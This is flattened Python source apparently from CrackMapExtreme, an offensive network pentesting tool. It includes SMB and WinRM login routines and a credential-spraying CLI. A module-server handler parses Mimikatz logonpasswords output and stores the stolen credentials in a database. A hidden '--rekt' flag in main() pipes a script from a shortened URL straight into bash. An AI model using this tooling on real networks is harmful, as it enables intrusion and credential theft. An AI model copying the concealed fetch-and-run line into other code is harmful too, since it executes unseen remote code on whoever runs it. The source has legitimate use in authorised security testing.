def shutdown(self): try: while len(self.server.hosts) > 0: self.server.log.info('Waiting on {} host(s)'.format( highlight(len(self.server.hosts)))) sleep(15) except KeyboardInterrupt: pass # shut down the server/socket self.server.shutdown() self.server.socket.close() self.server.server_close() #self._Thread__stop() #killing threads is inherintly dangerous. need to figure out a way to hanlde this with a stop condition (currently using a timer) in the funciton calling the threads # make sure all the threads are killed self.server.log.debug('before thread kill') for thread in threading.enumerate(): if thread.isAlive(): self.server.log.debug('thread-alive check1') try: thread.daemon( ) #this is a hack, probably need to have conditions that cause threads to end.... self.server.log.debug('thread-daemon worked') except: self.server.log.debug('thread-daemon failed') pass
def plaintext_login(self, domain, username, password): try: self.conn.run_cmd('hostname') self.admin_privs = True out = '{}\\{}:{} {}'.format( domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self. admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error('{}\\{}:{} {} {}'.format( domain, username, password, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.get('Content-Length')) data = response.rfile.read(length) # We've received the response, stop tracking this host response.stop_tracking_host() if len(data): if self.command.find('sekurlsa::logonpasswords') != -1: creds = self.parse_mimikatz(data) if len(creds): for cred_set in creds: credtype, domain, username, password, _, _ = cred_set # Get the hostid from the DB hostid = context.db.get_computers( response.client_address[0])[0][0] context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid) context.log.highlight('{}\\{}:{}'.format( domain, username, password)) context.log.success( "Added {} credential(s) to the database".format( highlight(len(creds)))) else: context.log.highlight(data) #cant use ':' in filename cause of windows log_name = 'Mimikatz_against_{}_on_{}.log'.format( response.client_address[0], datetime.now().strftime("%b.%d.%y_at_%H%M")) write_log(str(data, 'utf-8'), log_name) context.log.info("Saved raw Mimikatz output to {}/{}".format( cfg.LOGS_PATH, log_name))
def plaintext_login(self, domain, username, password): try: # pywinrm session class defined here : # https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format( domain, username), password), transport='ntlm', server_cert_validation='ignore') # session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='ntlm') # need to remove smb connection stuff and only use winrm self.smbconn.login(username, password, domain) self.password = password self.username = username self.domain = domain # using smb method until the warnings get fixed for urllib, just to cut down on warnings from execute self.admin_privs = self.check_if_admin() #r = self.conn.run_cmd('hostname') # self.parse_output(r) self.admin_privs = True self.logger.success('{}\\{}:{} {}'.format( domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self. admin_privs else ''))) return True except Exception as e: self.logger.error('{}\\{}:{} "{}"'.format(domain, username, password, e)) return False
def main(): setup_logger() logger = CMXLogAdapter() first_run_setup(logger) args = gen_cli_args() module = None module_server = None targets = [] server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = cfg.WORKSPACE hasPassList = False if args.debug: setup_debug_logger() if args.darrell: links = open(( cfg.DATA_PATH / 'videos_for_darrell').with_suffix('.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) sys.exit(1) except: sys.exit(1) if args.rekt: try: os.system("curl -s -L http://bit.ly/10hA8iC | bash") sys.exit(1) except: sys.exit(1) logging.debug('Passed args:\n' + pformat(vars(args))) if hasattr(args, 'username') and args.username: for user in args.username: if Path(user).is_file(): #If it was a file passed in args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if Path(passw).is_file(): #If it was a file passed in hasPassList = True args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if Path(ntlm_hash).is_file(): #If it was a file passed in args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if Path(target).is_file(): #If it was a file passed in target_file_type = identify_target_file(target) if target_file_type == 'nmap': targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == 'nessus': targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = (cfg.WS_PATH / current_workspace / args.protocol).with_suffix('.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) setattr(protocol_object, 'config', cfg.__dict__) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.announce('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.announce('{} module options:\n{}'.format( name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = 443 context = Context(db, logger, args) module_server = CMXServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open threads ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) # Lets azure not require a target if args.protocol == 'az': if not targets: jobs.append(pool.spawn(protocol_object, args, db, '1')) if args.timeout == 0: args.timeout = None for job in jobs: job.join(timeout=args.timeout) except (KeyboardInterrupt, gevent.Timeout): logging.info("Timed out") pass if module_server: module_server.shutdown()
def gen_cli_args(): VERSION = cfg.VERSION RELEASED = cfg.RELEASED p_loader = protocol_loader() protocols = p_loader.get_protocols() title = """____ ____ ____ ____ _ _ _ _ ____ ___ ____ _ _ ___ ____ ____ _ _ ____ | |__/ |__| | |_/ |\/| |__| |__] |___ \/ | |__/ |___ |\/| |___ |___ | \ | | |___ | \_ | | | | | |___ _/\_ | | \ |___ | | |___ """ parser = argparse.ArgumentParser(description=""" {} A swiss army knife for pentesting networks {}{}{} {}{} {}: {} {} """.format( highlight(title, 'yellow'), highlight('Forged by ', 'white'), highlight('@byt3bl33d3r', 'blue'), highlight(' using the powah of dank memes', 'white'), highlight('R3born from the ashes by ', 'red'), highlight('@awsmhacks', 'blue'), highlight('Version', 'green'), highlight(VERSION, 'cyan'), highlight('(/.__.)/ The python3 EXTREME edition \(.__.\)', 'yellow')), formatter_class=RawTextHelpFormatter, epilog="""Usage: cmx [-D] PROTOCOL [-h] TARGET [target options] [-M MODULE [module options]] cmx smb -M mimikatz --options (List a particular module's options) cmx smb 10.10.10.10 -u Administrator -p Password --recon cmx -D smb 192.168.1.1 -u username -p password -M mimikatz Azure! cmx az --config (get an azure session up, follow prompts) cmx az --user <useremail> (gets all info about a single user) cmx az --users (gets all users) cmx az -h (for all current azure stuffs) *Check https://awsmhacks.github.io/cmxdocs/index for detailed usage* """, add_help=False, usage=argparse.SUPPRESS) parser.add_argument("--threads", type=int, dest="threads", default=100, help=argparse.SUPPRESS) parser.add_argument( "--timeout", default=0, type=int, help=argparse.SUPPRESS) # use --timeout 0 for no timeout parser.add_argument("-D", "--debug", action='store_true', help=argparse.SUPPRESS) parser.add_argument("--darrell", action='store_true', help=argparse.SUPPRESS) parser.add_argument("--rekt", action='store_true', help=argparse.SUPPRESS) subparsers = parser.add_subparsers( title='protocols', dest='protocol', help=argparse.SUPPRESS ) #suppressing cause it looks cleaner. gonna have to hit the wiki for helps. std_parser = argparse.ArgumentParser(add_help=False) std_parser.add_argument( "target", nargs='*', type=str, help= "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)" ) std_parser.add_argument( "-id", metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help="database credential ID(s) to use for authentication") std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') fail_group.add_argument( "--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') fail_group.add_argument( "--hfail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') module_parser.add_argument('-mo', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') module_parser.add_argument( "--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') for protocol in list(protocols.keys()): protocol_object = p_loader.load_protocol(protocols[protocol]['path']) subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args